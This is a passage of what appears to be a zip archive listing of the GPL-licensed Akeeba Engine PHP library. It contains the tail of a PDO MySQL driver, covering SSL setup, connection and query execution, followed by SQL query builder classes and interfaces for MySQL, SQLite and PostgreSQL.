		if ($this->ssl !== [] && $this->ssl['enable'] === true)
		{
			$sslContextIsNull = true;

			// If customised, add cipher suite, ca file path, ca path, private key file path and certificate file path to PDO driver options.
			foreach (['cipher', 'ca', 'capath', 'key', 'cert'] as $key => $value)
			{
				if ($this->ssl[$value] !== null)
				{
					$this->driverOptions[constant('\PDO::MYSQL_ATTR_SSL_' . strtoupper($value))] = $this->ssl[$value];

					$sslContextIsNull = false;
				}
			}

			// PDO, if no cipher, ca, capath, cert and key are set, can't start TLS one-way connection, set a common ciphers suite to force it.
			if ($sslContextIsNull === true)
			{
				$this->driverOptions[\PDO::MYSQL_ATTR_SSL_CIPHER] = implode(':', static::$defaultCipherSuite);
			}

			// If customised, for capable systems (PHP 7.0.14+ and 7.1.4+) verify certificate chain and Common Name to driver options.
			if ($this->ssl['verify_server_cert'] !== null && defined('\PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT'))
			{
				$this->driverOptions[\PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT] = $this->ssl['verify_server_cert'];
			}
		}

		// connect to the server
		try
		{
			$this->connection = new PDO(
				$connectionString,
				$this->user,
				$this->password,
				$this->driverOptions
			);
		}
		catch (PDOException $e)
		{
			// If we tried connecting through utf8mb4 and we failed let's retry with regular utf8
			if ($this->charset == 'utf8mb4')
			{
				$this->charset = 'UTF8';
				$this->open();

				return;
			}

			$this->errorNum = 2;
			$this->errorMsg = 'Could not connect to MySQL via PDO: ' . $e->getMessage();

			return;
		}

		// Reset the SQL mode of the connection
		try
		{
			$this->connection->exec("SET @@SESSION.sql_mode = '';");
		}
			// Ignore any exceptions (incompatible MySQL versions)
		catch (Exception $e)
		{
		}

		$this->connection->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
		$this->connection->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);

		if ($this->selectDatabase && !empty($this->_database))
		{
			$this->select($this->_database);
		}

		$this->freeResult();
	}

	/**
	 * Execute the SQL statement.
	 *
	 * @return  mixed  A database cursor resource on success, boolean false on failure.
	 */
	public function query()
	{
		if (!is_object($this->connection))
		{
			$this->open();
		}

		$this->freeResult();

		// Take a local copy so that we don't modify the original query and cause issues later
		$query = $this->replacePrefix((string)$this->sql);

		if ($this->limit > 0 || $this->offset > 0)
		{
			$query .= ' LIMIT ' . $this->offset . ', ' . $this->limit;
		}

		// Increment the query counter.
		$this->count++;

		// If debugging is enabled then let's log the query.
		if ($this->debug)
		{
			// Add the query to the object queue.
			$this->log[] = $query;
		}

		// Reset the error values.
		$this->errorNum = 0;
		$this->errorMsg = '';

		// Execute the query. Error suppression is used here to prevent warnings/notices that the connection has been lost.
		try
		{
			$this->cursor = $this->connection->query($query);
		}
		catch (Exception $e)
		{
		}

		// If an error occurred handle it.
		if (!$this->cursor)
		{
			$errorInfo      = $this->connection->errorInfo();
			$this->errorNum = $errorInfo[1];
			$this->errorMsg = $errorInfo[2] . ' SQL=' . $query;

			// Check if the server was disconnected.
			if (!$this->connected() && !$this->isReconnecting)
			{
				$this->isReconnecting = true;

				try
				{
					// Attempt to reconnect.
					$this->connection = null;
					$this->open();
				}
					// If connect fails, ignore that exception and throw the normal exception.
				catch (RuntimeException $e)
				{
					throw new RuntimeException($this->errorMsg, $this->errorNum);
				}

				// Since we were able to reconnect, run the query again.
				$result               = $this->query();
				$this->isReconnecting = false;

				return $result;
			}
			// The server was not disconnected.
			else
			{
				throw new RuntimeException($this->errorMsg, $this->errorNum);
			}
		}

		return $this->cursor;
	}

	/**
	 * Select a database for use.
	 *
	 * @param   string  $database  The name of the database to select for use.
	 *
	 * @return  boolean  True if the database was successfully selected.
	 */
	public function select($database)
	{
		try
		{
			$this->connection->exec('USE ' . $this->quoteName($database));
		}
		catch (Exception $e)
		{
			$errorInfo      = $this->connection->errorInfo();
			$this->errorNum = $errorInfo[1];
			$this->errorMsg = $errorInfo[2];

			return false;
		}

		return true;
	}

	/**
	 * Set the connection to use UTF-8 character encoding.
	 *
	 * @return  boolean  True on success.
	 */
	public function setUTF()
	{
		return true;
	}

	/**
	 * Method to commit a transaction.
	 *
	 * @return  void
	 */
	public function transactionCommit()
	{
		$this->connection->commit();
	}

	/**
	 * Method to roll back a transaction.
	 *
	 * @return  void
	 */
	public function transactionRollback()
	{
		$this->connection->rollBack();
	}

	/**
	 * Method to initialize a transaction.
	 *
	 * @return  void
	 */
	public function transactionStart()
	{
		$this->connection->beginTransaction();
	}

	/**
	 * Method to fetch a row from the result set cursor as an array.
	 *
	 * @param   mixed  $cursor  The optional result set cursor from which to fetch the row.
	 *
	 * @return  mixed  Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchArray($cursor = null)
	{
		$ret = null;

		if (!empty($cursor) && $cursor instanceof PDOStatement)
		{
			$ret = $cursor->fetch(PDO::FETCH_NUM);
		}
		elseif ($this->cursor instanceof PDOStatement)
		{
			$ret = $this->cursor->fetch(PDO::FETCH_NUM);
		}

		return $ret;
	}

	/**
	 * Method to fetch a row from the result set cursor as an object.
	 *
	 * @param   mixed   $cursor  The optional result set cursor from which to fetch the row.
	 * @param   string  $class   The class name to use for the returned row object.
	 *
	 * @return  mixed   Either the next row from the result set or false if there are no more rows.
	 */
	protected function fetchObject($cursor = null, $class = 'stdClass')
	{
		$ret = null;

		if (!empty($cursor) && $cursor instanceof PDOStatement)
		{
			$ret = $cursor->fetchObject($class);
		}
		elseif ($this->cursor instanceof PDOStatement)
		{
			$ret = $this->cursor->fetchObject($class);
		}

		return $ret;
	}
}
PK     \Sw  w  ,  vendor/akeeba/engine/engine/Driver/Mysql.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver;

defined('AKEEBAENGINE') || die();

/**
 * MySQL classic driver for Akeeba Engine — compatibility stub.
 *
 * The PHP mysql extension was removed in PHP 7.0. Since the minimum supported PHP version is 7.4 the mysql extension
 * is never available. This class is a compatibility stub that extends the MySQLi driver, which uses the mysqli
 * extension supported since PHP 5.0.
 */
#[\AllowDynamicProperties]
class Mysql extends Mysqli
{
	/**
	 * The name of the database driver.
	 *
	 * @var    string
	 * @since  11.1
	 */
	public $name = 'mysql';
}
PK     \e(    5  vendor/akeeba/engine/engine/Driver/Query/Pdomysql.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

/**
 * Query Building Class.
 *
 * Based on Joomla! Platform 11.3
 */
class Pdomysql extends Mysqli implements Limitable
{
}
PK     \    2  vendor/akeeba/engine/engine/Driver/Query/Mysql.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

/**
 * Query Building Class.
 *
 * Based on Joomla! Platform 11.3
 */
class Mysql extends Mysqli
{
}
PK     \)	  	  6  vendor/akeeba/engine/engine/Driver/Query/Limitable.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Base as BaseQuery;

/**
 * Query Limitable Interface.
 * Adds bind/unbind methods as well as a getBounded() method
 * to retrieve the stored bounded variables on demand prior to
 * query execution.
 *
 * Based on Joomla! Platform 11.2
 */
interface Limitable
{
	/**
	 * Method to modify a query already in string format with the needed
	 * additions to make the query limited to a particular number of
	 * results, or start at a particular offset. This method is used
	 * automatically by the __toString() method if it detects that the
	 * query implements the Limitable interface.
	 *
	 * @param   string   $query   The query in string format
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return  string
	 *
	 * @since   12.1
	 */
	public function processLimit($query, $limit, $offset = 0);

	/**
	 * Sets the offset and limit for the result set, if the database driver supports it.
	 *
	 * Usage:
	 * $query->setLimit(100, 0); (retrieve 100 rows, starting at first record)
	 * $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th record)
	 *
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return  BaseQuery  Returns this object to allow chaining.
	 *
	 * @since   12.1
	 */
	public function setLimit($limit = 0, $offset = 0);
}
PK     \dB5    3  vendor/akeeba/engine/engine/Driver/Query/Sqlite.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

use PDO;
use stdClass;

/**
 * SQLite Query Building Class.
 *
 * @since  1.0
 */
class Sqlite extends Base implements Preparable, Limitable
{
	/**
	 * The limit for the result set.
	 *
	 * @var    integer
	 * @since  1.0
	 */
	protected $limit;

	/**
	 * The offset for the result set.
	 *
	 * @var    integer
	 * @since  1.0
	 */
	protected $offset;

	/**
	 * Holds key / value pair of bound objects.
	 *
	 * @var    mixed
	 * @since  1.0
	 */
	protected $bounded = [];

	/**
	 * Method to add a variable to an internal array that will be bound to a prepared SQL statement before query execution. Also
	 * removes a variable that has been bounded from the internal bounded array when the passed in value is null.
	 *
	 * @param   string|integer   $key            The key that will be used in your SQL query to reference the value. Usually of
	 *                                           the form ':key', but can also be an integer.
	 * @param   mixed           &$value          The value that will be bound. The value is passed by reference to support output
	 *                                           parameters such as those possible with stored procedures.
	 * @param   integer          $dataType       Constant corresponding to a SQL datatype.
	 * @param   integer          $length         The length of the variable. Usually required for OUTPUT parameters.
	 * @param   array            $driverOptions  Optional driver options to be used.
	 *
	 * @return  Sqlite  Returns this object to allow chaining.
	 *
	 * @since   1.0
	 */
	public function bind($key = null, &$value = null, $dataType = PDO::PARAM_STR, $length = 0, $driverOptions = [])
	{
		// Case 1: Empty Key (reset $bounded array)
		if (empty($key))
		{
			$this->bounded = [];

			return $this;
		}

		// Case 2: Key Provided, null value (unset key from $bounded array)
		if (is_null($value))
		{
			if (isset($this->bounded[$key]))
			{
				unset($this->bounded[$key]);
			}

			return $this;
		}

		$obj = new stdClass;

		$obj->value         = &$value;
		$obj->dataType      = $dataType;
		$obj->length        = $length;
		$obj->driverOptions = $driverOptions;

		// Case 3: Simply add the Key/Value into the bounded array
		$this->bounded[$key] = $obj;

		return $this;
	}

	/**
	 * Retrieves the bound parameters array when key is null and returns it by reference. If a key is provided then that item is
	 * returned.
	 *
	 * @param   mixed  $key  The bounded variable key to retrieve.
	 *
	 * @return  mixed
	 *
	 * @since   1.0
	 */
	public function &getBounded($key = null)
	{
		if (empty($key))
		{
			return $this->bounded;
		}
		else
		{
			if (isset($this->bounded[$key]))
			{
				return $this->bounded[$key];
			}
		}
	}

	/**
	 * Gets the number of characters in a string.
	 *
	 * Note, use 'length' to find the number of bytes in a string.
	 *
	 * Usage:
	 * $query->select($query->charLength('a'));
	 *
	 * @param   string  $field      A value.
	 * @param   string  $operator   Comparison operator between charLength integer value and $condition
	 * @param   string  $condition  Integer value to compare charLength with.
	 *
	 * @return  string  The required char length call.
	 *
	 * @since   1.1.0
	 */
	public function charLength($field, $operator = null, $condition = null)
	{
		return 'length(' . $field . ')' . (isset($operator) && isset($condition) ? ' ' . $operator . ' ' . $condition : '');
	}

	/**
	 * Clear data from the query or a specific clause of the query.
	 *
	 * @param   string  $clause  Optionally, the name of the clause to clear, or nothing to clear the whole query.
	 *
	 * @return  Sqlite  Returns this object to allow chaining.
	 *
	 * @since   1.0
	 */
	public function clear($clause = null)
	{
		switch ($clause)
		{
			case null:
				$this->bounded = [];
				break;
		}

		return parent::clear($clause);
	}

	/**
	 * Concatenates an array of column names or values.
	 *
	 * Usage:
	 * $query->select($query->concatenate(array('a', 'b')));
	 *
	 * @param   array   $values     An array of values to concatenate.
	 * @param   string  $separator  As separator to place between each value.
	 *
	 * @return  string  The concatenated values.
	 *
	 * @since   1.1.0
	 */
	public function concatenate($values, $separator = null)
	{
		if ($separator)
		{
			return implode(' || ' . $this->quote($separator) . ' || ', $values);
		}
		else
		{
			return implode(' || ', $values);
		}
	}

	/**
	 * Method to modify a query already in string format with the needed
	 * additions to make the query limited to a particular number of
	 * results, or start at a particular offset. This method is used
	 * automatically by the __toString() method if it detects that the
	 * query implements the LimitableInterface.
	 *
	 * @param   string   $query   The query in string format
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public function processLimit($query, $limit, $offset = 0)
	{
		if ($limit > 0 || $offset > 0)
		{
			$query .= ' LIMIT ' . $offset . ', ' . $limit;
		}

		return $query;
	}

	/**
	 * Sets the offset and limit for the result set, if the database driver supports it.
	 *
	 * Usage:
	 * $query->setLimit(100, 0); (retrieve 100 rows, starting at first record)
	 * $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th record)
	 *
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return  Sqlite  Returns this object to allow chaining.
	 *
	 * @since   1.0
	 */
	public function setLimit($limit = 0, $offset = 0)
	{
		$this->limit  = (int) $limit;
		$this->offset = (int) $offset;

		return $this;
	}
}
PK     \4gf  f  7  vendor/akeeba/engine/engine/Driver/Query/Postgresql.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Base as BaseQuery;

/**
 * Query Building Class for PostgreSQL.
 */
class Postgresql extends Base implements Limitable
{
	/**
	 * @var    integer  The offset for the result set.
	 */
	protected $offset;

	/**
	 * @var    integer  The limit for the result set.
	 */
	protected $limit;

	/**
	 * Method to modify a query already in string format with the needed
	 * additions to make the query limited to a particular number of
	 * results, or start at a particular offset.
	 *
	 * @param   string   $query   The query in string format
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return string
	 */
	public function processLimit($query, $limit, $offset = 0)
	{
		if ($limit > 0)
		{
			$query .= ' LIMIT ' . (int) $limit;
		}

		if ($offset > 0)
		{
			$query .= ' OFFSET ' . (int) $offset;
		}

		return $query;
	}

	/**
	 * Sets the offset and limit for the result set, if the database driver supports it.
	 *
	 * Usage:
	 * $query->setLimit(100, 0); (retrieve 100 rows, starting at first record)
	 * $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th record)
	 *
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return  BaseQuery  Returns this object to allow chaining.
	 */
	public function setLimit($limit = 0, $offset = 0)
	{
		$this->limit  = (int) $limit;
		$this->offset = (int) $offset;

		return $this;
	}

	/**
	 * Concatenates an array of column names or values.
	 *
	 * @param   array   $values     An array of values to concatenate.
	 * @param   string  $separator  As separator to place between each value.
	 *
	 * @return  string  The concatenated values.
	 */
	public function concatenate($values, $separator = null)
	{
		if ($separator)
		{
			return 'CONCAT_WS(' . $this->quote($separator) . ', ' . implode(', ', $values) . ')';
		}
		else
		{
			return '(' . implode(' || ', $values) . ')';
		}
	}
}
PK     \4    3  vendor/akeeba/engine/engine/Driver/Query/Mysqli.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Query\Base as BaseQuery;

/**
 * Query Building Class.
 *
 * Based on Joomla! Platform 11.3
 */
class Mysqli extends Base implements Limitable
{
	/**
	 * @var    integer  The offset for the result set.
	 */
	protected $offset;

	/**
	 * @var    integer  The limit for the result set.
	 */
	protected $limit;

	/**
	 * Method to modify a query already in string format with the needed
	 * additions to make the query limited to a particular number of
	 * results, or start at a particular offset.
	 *
	 * @param   string   $query   The query in string format
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return string
	 */
	public function processLimit($query, $limit, $offset = 0)
	{
		if ($limit > 0 || $offset > 0)
		{
			$query .= ' LIMIT ' . $offset . ', ' . $limit;
		}

		return $query;
	}

	/**
	 * Sets the offset and limit for the result set, if the database driver supports it.
	 *
	 * Usage:
	 * $query->setLimit(100, 0); (retrieve 100 rows, starting at first record)
	 * $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th record)
	 *
	 * @param   integer  $limit   The limit for the result set
	 * @param   integer  $offset  The offset for the result set
	 *
	 * @return  BaseQuery  Returns this object to allow chaining.
	 */
	public function setLimit($limit = 0, $offset = 0)
	{
		$this->limit  = (int) $limit;
		$this->offset = (int) $offset;

		return $this;
	}

	/**
	 * Concatenates an array of column names or values.
	 *
	 * @param   array   $values     An array of values to concatenate.
	 * @param   string  $separator  As separator to place between each value.
	 *
	 * @return  string  The concatenated values.
	 */
	public function concatenate($values, $separator = null)
	{
		if ($separator)
		{
			$concat_string = 'CONCAT_WS(' . $this->quote($separator);

			foreach ($values as $value)
			{
				$concat_string .= ', ' . $value;
			}

			return $concat_string . ')';
		}
		else
		{
			return 'CONCAT(' . implode(',', $values) . ')';
		}
	}
}
PK     \!7
  7
  7  vendor/akeeba/engine/engine/Driver/Query/Preparable.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

use PDO;

/**
 * Database Query Preparable Interface.
 *
 * Adds bind/unbind methods as well as a getBounded() method
 * to retrieve the stored bounded variables on demand prior to
 * query execution.
 *
 * @since  1.0
 *
 * @codeCoverageIgnore
 */
interface Preparable
{
	/**
	 * Method to add a variable to an internal array that will be bound to a prepared SQL statement before query execution. Also
	 * removes a variable that has been bounded from the internal bounded array when the passed in value is null.
	 *
	 * @param   string|integer   $key            The key that will be used in your SQL query to reference the value. Usually of
	 *                                           the form ':key', but can also be an integer.
	 * @param   mixed           &$value          The value that will be bound. The value is passed by reference to support output
	 *                                           parameters such as those possible with stored procedures.
	 * @param   integer          $dataType       Constant corresponding to a SQL datatype.
	 * @param   integer          $length         The length of the variable. Usually required for OUTPUT parameters.
	 * @param   array            $driverOptions  Optional driver options to be used.
	 *
	 * @return  Preparable
	 *
	 * @since   1.0
	 */
	public function bind($key = null, &$value = null, $dataType = PDO::PARAM_STR, $length = 0, $driverOptions = []);

	/**
	 * Retrieves the bound parameters array when key is null and returns it by reference. If a key is provided then that item is
	 * returned.
	 *
	 * @param   mixed  $key  The bounded variable key to retrieve.
	 *
	 * @return  mixed
	 *
	 * @since   1.0
	 */
	public function &getBounded($key = null);
}
PK     \}h    1  vendor/akeeba/engine/engine/Driver/Query/Base.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Driver\Query;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\Base as DriverBase;
use Akeeba\Engine\Driver\Query\Element as QueryElement;
use Akeeba\Engine\Driver\Query\Limitable as QueryLimitable;
use Akeeba\Engine\Driver\QueryException;

/**
 * Query Building Class.
 *
 * Based on Joomla! Platform 11.3
 */
abstract class Base
{
	/**
	 * @var    DriverBase  The database connection resource.
	 */
	protected $db = null;

	/**
	 * @var    string  The SQL query (if a direct query string was provided).
	 */
	protected $sql = null;

	/**
	 * @var    string  The query type.
	 */
	protected $type = '';

	/**
	 * @var    QueryElement  The query element for a generic query (type = null).
	 */
	protected $element = null;

	/**
	 * @var    QueryElement  The select element.
	 */
	protected $select = null;

	/**
	 * @var    QueryElement  The delete element.
	 */
	protected $delete = null;

	/**
	 * @var    QueryElement  The update element.
	 */
	protected $update = null;

	/**
	 * @var    QueryElement  The insert element.
	 */
	protected $insert = null;

	/**
	 * @var    QueryElement  The from element.
	 */
	protected $from = null;

	/**
	 * @var    QueryElement  The join element.
	 */
	protected $join = null;

	/**
	 * @var    QueryElement  The set element.
	 */
	protected $set = null;

	/**
	 * @var    QueryElement  The where element.
	 */
	protected $where = null;

	/**
	 * @var    QueryElement  The group by element.
	 */
	protected $group = null;

	/**
	 * @var    QueryElement  The having element.
	 */
	protected $having = null;

	/**
	 * @var    QueryElement  The column list for an INSERT statement.
	 */
	protected $columns = null;

	/**
	 * @var    QueryElement  The values list for an INSERT statement.
	 */
	protected $values = null;

	/**
	 * @var    QueryElement  The order element.
	 */
	protected $order = null;

	/**
	 * @var   object  The auto increment insert field element.
	 */
	protected $autoIncrementField = null;

	/**
	 * @var    QueryElement  The call element.
	 */
	protected $call = null;

	/**
	 * @var    QueryElement  The exec element.
	 */
	protected $exec = null;

	/**
	 * @var    QueryElement  The union element.
	 */
	protected $union = null;

	/**
	 * @var    QueryElement  The unionAll element.
	 */
	protected $unionAll = null;

	/**
	 * Class constructor.
	 *
	 * @param   DriverBase  $db  The database connector resource.
	 */
	public function __construct(?DriverBase $db = null)
	{
		$this->db = $db;
	}

	/**
	 * Magic method to provide method alias support for quote() and quoteName().
	 *
	 * @param   string  $method  The called method.
	 * @param   array   $args    The array of arguments passed to the method.
	 *
	 * @return  string  The aliased method's return value or null.
	 */
	public function __call($method, $args)
	{
		if (empty($args))
		{
			return null;
		}

		switch ($method)
		{
			case 'q':
				return $this->quote($args[0], $args[1] ?? true);
				break;

			case 'qn':
				return $this->quoteName($args[0]);
				break;

			case 'e':
				return $this->escape($args[0], $args[1] ?? false);
				break;
		}

		return null;
	}

	/**
	 * Magic function to convert the query to a string.
	 *
	 * @return  string    The completed query.
	 */
	public function __toString()
	{
		$query = '';

		if ($this->sql)
		{
			return $this->sql;
		}

		switch ($this->type)
		{
			case 'element':
				$query .= (string) $this->element;
				break;

			case 'select':
				$query .= (string) $this->select;
				$query .= (string) $this->from;

				if ($this->join)
				{
					// Special case for joins
					foreach ($this->join as $join)
					{
						$query .= (string) $join;
					}
				}

				if ($this->where)
				{
					$query .= (string) $this->where;
				}

				if ($this->group)
				{
					$query .= (string) $this->group;
				}

				if ($this->having)
				{
					$query .= (string) $this->having;
				}

				if ($this->order)
				{
					$query .= (string) $this->order;
				}

				break;

			case 'union':
				$query .= (string) $this->union;
				break;

			case 'unionAll':
				$query .= (string) $this->unionAll;
				break;

			case 'delete':
				$query .= (string) $this->delete;
				$query .= (string) $this->from;

				if ($this->join)
				{
					// Special case for joins
					foreach ($this->join as $join)
					{
						$query .= (string) $join;
					}
				}

				if ($this->where)
				{
					$query .= (string) $this->where;
				}

				break;

			case 'update':
				$query .= (string) $this->update;

				if ($this->join)
				{
					// Special case for joins
					foreach ($this->join as $join)
					{
						$query .= (string) $join;
					}
				}

				$query .= (string) $this->set;

				if ($this->where)
				{
					$query .= (string) $this->where;
				}

				break;

			case 'insert':
				$query .= (string) $this->insert;

				// Set method
				if ($this->set)
				{
					$query .= (string) $this->set;
				}
				// Columns-Values method
				elseif ($this->values)
				{
					if ($this->columns)
					{
						$query .= (string) $this->columns;
					}

					$elements = $this->values->getElements();

					if (!($elements[0] instanceof $this))
					{
						$query .= ' VALUES ';
					}

					$query .= (string) $this->values;
				}

				break;

			case 'call':
				$query .= (string) $this->call;
				break;

			case 'exec':
				$query .= (string) $this->exec;
				break;
		}

		if ($this instanceof QueryLimitable)
		{
			$query = $this->processLimit($query, $this->limit, $this->offset);
		}

		return $query;
	}

	/**
	 * Magic function to get protected variable value
	 *
	 * @param   string  $name  The name of the variable.
	 *
	 * @return  mixed
	 */
	public function __get($name)
	{
		return $this->$name ?? null;
	}

	/**
	 * Add a single column, or array of columns to the CALL clause of the query.
	 *
	 * Note that you must not mix insert, update, delete and select method calls when building a query.
	 * The call method can, however, be called multiple times in the same query.
	 *
	 * Usage:
	 * $query->call('a.*')->call('b.id');
	 * $query->call(array('a.*', 'b.id'));
	 *
	 * @param   mixed  $columns  A string or an array of field names.
	 *
	 * @return  Base  Returns this object to allow chaining.
	 */
	public function call($columns)
	{
		$this->type = 'call';

		if (is_null($this->call))
		{
			$this->call = new QueryElement('CALL', $columns);
		}
		else
		{
			$this->call->append($columns);
		}

		return $this;
	}

	/**
	 * Casts a value to a char.
	 *
	 * Ensure that the value is properly quoted before passing to the method.
	 *
	 * Usage:
	 * $query->select($query->castAsChar('a'));
	 *
	 * @param   string  $value  The value to cast as a char.
	 *
	 * @return  string  Returns the cast value.
	 */
	public function castAsChar($value)
	{
		return $value;
	}

	/**
	 * Gets the number of characters in a string.
	 *
	 * Note, use 'length' to find the number of bytes in a string.
	 *
	 * Usage:
	 * $query->select($query->charLength('a'));
	 *
	 * @param   string  $field      A value.
	 * @param   string  $operator   Comparison operator between charLength integer value and $condition
	 * @param   string  $condition  Integer value to compare charLength with.
	 *
